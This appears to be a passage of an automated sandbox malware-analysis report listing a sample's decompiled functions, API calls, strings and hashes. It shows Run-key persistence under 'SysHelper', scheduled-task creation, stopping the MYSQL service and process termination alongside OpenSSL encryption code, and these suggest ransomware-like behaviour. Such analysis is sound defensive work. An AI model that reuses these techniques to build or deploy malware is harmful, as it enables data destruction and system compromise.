GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 12b53c409be1ec037d03514a9cf4cc11748dbeb4cb630e372b1d8a8e74e09587
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 12b53c409be1ec037d03514a9cf4cc11748dbeb4cb630e372b1d8a8e74e09587
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
